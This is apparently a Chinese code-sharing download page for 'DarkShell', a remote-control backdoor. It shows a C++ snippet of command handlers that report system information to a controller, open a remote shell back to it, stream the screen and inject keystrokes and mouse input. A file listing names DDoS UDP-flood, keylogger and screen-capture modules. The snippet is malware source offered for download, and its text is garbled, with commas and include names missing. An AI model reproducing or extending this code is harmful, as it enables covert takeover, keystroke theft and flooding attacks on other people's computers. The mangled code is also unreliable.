资源简介
DarkShell.rar
代码片段和文件信息
#include “.\connectserverproc.h“
#include “tools.h“
#include “DDOSUdpFlood.h“
#include
#pragma comment(lib “ws2_32.lib“)
#pragma comment(lib “kernel32.lib“)
#include
#include
#include
#include
#include
#include
#include
#include
#include se.h>
CConnectServerProc::CConnectServerProc(void)
{
m_pSysinfo = NULL;
}
CConnectServerProc::~CConnectServerProc(void)
{
}
void CConnectServerProc::OnCmd_GetDoWork(tagVipShellCmd* info)
{
tagVipShellCmd SendInfo;
SendInfo.dwCmd = 0;
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
}
void CConnectServerProc::SetServerSystemInfo(tagServerSystemInfo* p)
{
m_pSysinfo = p;
}
void CConnectServerProc::OnCmd_GetSystemInfo(tagVipShellCmd* info)
{
return OnCmd_GetDoWork(info);
tagVipShellCmd SendInfo;
SendInfo.dwCmd = 0;
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnCmd_GetShell(tagVipShellCmd* info)
{
ULONG ip;
USHORT port;
m_hServer->GetPeer(&ip &port);
m_hServerManage->ConnectServerEx(ip port CREATE_THREAD_MARKER_SHELLCOMMAND);
return OnCmd_GetDoWork(info);
}
void CConnectServerProc::OnCmd_GetScreen(tagVipShellCmd* info)
{
ULONG ip;
USHORT port;
m_hServer->GetPeer(&ip &port);
srand(GetTickCount());
DWORD dwId = rand();
tagVipShellCmd SendInfo;
SendInfo.dwCmd = SHELL_CMD_ISOK;
SendInfo.dw1 = dwId;
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
int nRet = m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return ;
m_hServerManage->ConnectServerEx(ip port CREATE_THREAD_MARKER_SCREENINFO dwId);
}
void CConnectServerProc::onkeydownd(tagVipShellCmd* info)
{
COpenDesktop hDesktop;
keybd_event((BYTE)info->dw1000);
tagVipShellCmd SendInfo;
SendInfo.dwCmd = SHELL_CMD_ISOK;
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
}
void CConnectServerProc::onkeyup(tagVipShellCmd* info)
{
COpenDesktop hDesktop;
keybd_event((BYTE)info->dw10KEYEVENTF_KEYUP0);
tagVipShellCmd SendInfo;
SendInfo.dwCmd = SHELL_CMD_ISOK;
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
}
void CConnectServerProc::onmousemove(tagVipShellCmd* info)
{
COpenDesktop hDesktop;
SetCursorPos(info->dw1 info->dw2);
tagVipShellCmd SendInfo;
SendInfo.dwCmd = SHELL_CMD_ISOK;
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnLButtonDown(tagVipShellCmd* info)
{
COpenDesktop hDesktop;
mouse_event(MOUSEEVENTF_LEFTDOWN0000);
tagVipShellCmd SendInfo;
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 10278 2007-12-16 19:46 codesc.net\DarkShell\DarkShell\ConnectServerProc.cpp
文件 1871 2007-12-16 19:40 codesc.net\DarkShell\DarkShell\ConnectServerProc.h
文件 2665472 2007-12-21 19:17 codesc.net\DarkShell\DarkShell\DarkShell.ncb
文件 907 2007-02-14 20:23 codesc.net\DarkShell\DarkShell\DarkShell.sln
..A..H. 8704 2007-12-21 19:17 codesc.net\DarkShell\DarkShell\DarkShell.suo
文件 6026 2007-12-01 22:46 codesc.net\DarkShell\DarkShell\DarkShell.vcproj
文件 5189 2007-12-01 22:44 codesc.net\DarkShell\DarkShell\DDOSUdpFlood.cpp
文件 676 2007-12-01 22:44 codesc.net\DarkShell\DarkShell\DDOSUdpFlood.h
文件 4631 2007-12-16 19:41 codesc.net\DarkShell\DarkShell\DefCommandProc.cpp
文件 3631 2007-12-16 19:40 codesc.net\DarkShell\DarkShell\DefCommandProc.h
文件 10835 2007-10-20 13:46 codesc.net\DarkShell\DarkShell\FileManageProc.cpp
文件 1425 2006-06-26 17:13 codesc.net\DarkShell\DarkShell\FileManageProc.h
文件 5143 2006-06-20 20:55 codesc.net\DarkShell\DarkShell\GetCapData.cpp
文件 803 2006-06-20 12:25 codesc.net\DarkShell\DarkShell\GetCapData.h
文件 2779 2007-08-30 23:13 codesc.net\DarkShell\DarkShell\GetCapPictureProc.cpp
文件 358 2006-06-20 16:24 codesc.net\DarkShell\DarkShell\GetCapPictureProc.h
文件 4927 2006-06-27 15:04 codesc.net\DarkShell\DarkShell\GetKeyNoHook.cpp
文件 146 2006-06-27 15:29 codesc.net\DarkShell\DarkShell\GetKeyNoHook.h
文件 5890 2007-01-20 19:59 codesc.net\DarkShell\DarkShell\GetKeyNoHookProc.cpp
文件 474 2006-06-28 22:01 codesc.net\DarkShell\DarkShell\GetKeyNoHookProc.h
文件 9005 2006-07-02 19:01 codesc.net\DarkShell\DarkShell\GetScreenInfo.cpp
文件 1092 2006-06-29 23:45 codesc.net\DarkShell\DarkShell\GetScreenInfo.h
文件 7290 2006-06-27 20:56 codesc.net\DarkShell\DarkShell\ie.cpp
文件 60 2006-05-29 12:04 codesc.net\DarkShell\DarkShell\Ie.h
文件 6370 2007-12-01 22:44 codesc.net\DarkShell\DarkShell\IPSocket.h
文件 24832 2007-11-11 12:17 codesc.net\DarkShell\DarkShell\main.cpp
文件 2755 2006-07-03 15:25 codesc.net\DarkShell\DarkShell\OpenDesktop.cpp
文件 361 2006-07-03 15:28 codesc.net\DarkShell\DarkShell\OpenDesktop.h
文件 384 2006-05-31 17:13 codesc.net\DarkShell\DarkShell\resource.h
文件 1811 2007-08-30 23:13 codesc.net\DarkShell\DarkShell\ScreenControlProc.cpp
............此处省略130个文件信息
相关资源
- 小蓝VC传奇3逆向研究三部曲.txt
- .NET教学管理系统源码合集.txt
- HeadFirst系列电子书合集.txt
- 模拟硬盘物理序列号工具(驱动级)
- XCell绿色版(补丁制作软件).rar
- CAD桩自动编号及坐标提取工具.rar
- 一键卸载全部驱动小工具(32/X64位)
- IMAGE Transmitter 2宾得联机拍摄软件安装
- 珠峰VIP前端培训视频.zip
- 人工智能原理及其应用(王万森)第
- PCS7-VLVL阀门块使用详解.pdf
- LoadRunner12.60地址.zip
- 知乎.zip
- 尹成视频.txt
- 微信JS-SDK微信分享接口开发实用版代
- arcgis_enterprise10.7.txt
- vmwareworkstationpro15.0.2.txt
- 80端口宽带账号密码爆破工具最新版
- 拔河游戏.rar
- 几十个开源项目28G设计资料,适用于
- example.zip
- Anaconda3-4.2.0-Windows-x86_64.txt
- unity-横向比较unity3d与其他的游戏引擎
- VS2008CWinpcap网络嗅探器中科院课设.r
- abaqus二维切削仿真.inp
- studentmanageprogect.zip
- SunLikeERP8.0.txt
- 2019年东南大学研究生自辩、中特复习
- 国内外管理信息系统现状及展望
- IEEE33.DAT
评论
共有 条评论